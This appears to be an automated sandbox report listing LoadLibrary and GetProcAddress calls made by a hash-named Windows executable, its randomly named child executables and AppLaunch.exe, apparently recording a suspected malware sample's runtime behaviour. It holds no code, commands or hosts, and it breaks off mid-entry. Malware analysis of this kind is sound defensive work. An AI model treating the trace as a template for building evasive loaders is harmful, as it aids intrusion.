(UID: 00000000-00001476) "Px7mP64.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00003376) "yX3Tk97.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00000292) "3Wl168Kl.exe" called "LoadLibrary" with a parameter comctl32 (UID: 00000000-00006000) "3Wl168Kl.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00006000) "3Wl168Kl.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006000) "3Wl168Kl.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006000) "3Wl168Kl.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00006000) "3Wl168Kl.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00006000) "3Wl168Kl.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\ieframe.dll (UID: 00000000-00006000) "3Wl168Kl.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006000) "3Wl168Kl.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00006000) "3Wl168Kl.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00006000) "3Wl168Kl.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00006000) "3Wl168Kl.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00006000) "3Wl168Kl.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Internet Explorer\ieproxy.dll (UID: 00000000-00006000) "3Wl168Kl.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006000) "3Wl168Kl.exe" called "LoadLibrary" with a parameter iertutil.dll (UID: 00000000-00006000) "3Wl168Kl.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006000) "3Wl168Kl.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-1 (UID: 00000000-00006000) "3Wl168Kl.exe" called "LoadLibrary" with a parameter ext-ms-win-kernel32-package-current-l1-1-0 (UID: 00000000-00006000) "4fJ5jN0.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00004536) "5IC74Hi.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00004856) "AppLaunch.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\PresentationCore\468f4e17be144ca12a73a4297eacc9cc\PresentationCore.ni.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\252cc7b0fae8cfe083bdc149957c0c54\PresentationFramework.ni.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter ucrtbase_clr0400.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter dwrite.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\wpfgfx_v0400.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationNative_v0400.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\274e43040c8a7a02ef1065db3283005a\System.Runtime.Serialization. (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.IdentityModel\c2ef5bc545b98a289f02d0b3eddbe280\System.IdentityModel.ni.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\SMDiagnostics\dc67dcb4b2fb4a3853d458cab08561f0\SMDiagnostics.ni.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Intern (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Transactions\3d760b4a3260a41ef84a3fd866780980\System.Transactions.ni.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00004648) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00004648) "6gz238.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00002204) "AppLaunch.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00002712) "AppLaunch.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002712) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00002712)38:T8e1d,"e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001476) "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001476) "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001476) "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001476) "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00001476) "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00001476) "Px7mP64.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003376) "Px7mP64.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003376) "Px7mP64.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003376) "Px7mP64.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003376) "Px7mP64.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00003376) "Px7mP64.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00003376) "yX3Tk97.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000292) "yX3Tk97.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00000292) "yX3Tk97.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00000292) "3Wl168Kl.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter HIMAGELIST_QueryInterface (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter DrawShadowText (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter DrawSizeBox (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter DrawScrollBar (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter SizeBoxHwnd (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter ScrollBar_MouseMove (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter ScrollBar_Menu (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter HandleScrollCmd (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter DetachScrollBars (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter AttachScrollBars (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CCSetScrollInfo (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CCGetScrollInfo (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CCEnableScrollBar (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter QuerySystemGestureStatus (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter SHGetInstanceExplorer (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter OleInitialize (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CreateBindCtx (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter PSCreateMemoryPropertyStore (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter PSPropertyBag_WriteDWORD (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CoGetApartmentType (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CoRegisterInitializeSpy (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CoGetMalloc (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadDWORD (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadGUID (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter RegEnumKeyW (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter ApphelpCheckShellObject (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CLSIDFromOle1Class (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter GetCatalogObject (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter GetCatalogObject2 (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter AcquireSRWLockShared (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter ReleaseSRWLockShared (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter InitCommonControlsEx (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter DllCanUnloadNow (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter IsValidURL (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter SHStrDupW (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter PSCreateAdapterFromPropertyStore (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter PropVariantToBSTR (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter PropVariantClear (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter IUnknown_Set (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CoTaskMemRealloc (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter ResolveDelayLoadedAPI (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadStrAlloc (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CoAllowSetForegroundWindow (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter FindWindowExW (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_Size_ExW (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_ExW (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter OleUninitialize (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CoRevokeInitializeSpy (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter NdrOleInitializeExtension (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CoGetMarshalSizeMax (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CoMarshalInterface (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CoUnmarshalInterface (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CoGetPSClsid (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CoReleaseMarshalData (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter DcomChannelSetHResult (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter SendMessageTimeoutW (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter AllowSetForegroundWindow (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter PostMessageW (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter CloseThemeData (UID: 00000000-00006000) "3Wl168Kl.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00006000) "4fJ5jN0.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004536) "4fJ5jN0.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00004536) "5IC74Hi.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004856) "5IC74Hi.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004856) "5IC74Hi.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004856) "5IC74Hi.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004856) "5IC74Hi.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00004856) "AppLaunch.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter IsAppThemedW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateActCtx (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateActCtxA (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterWindowMessage (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterWindowMessageW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter 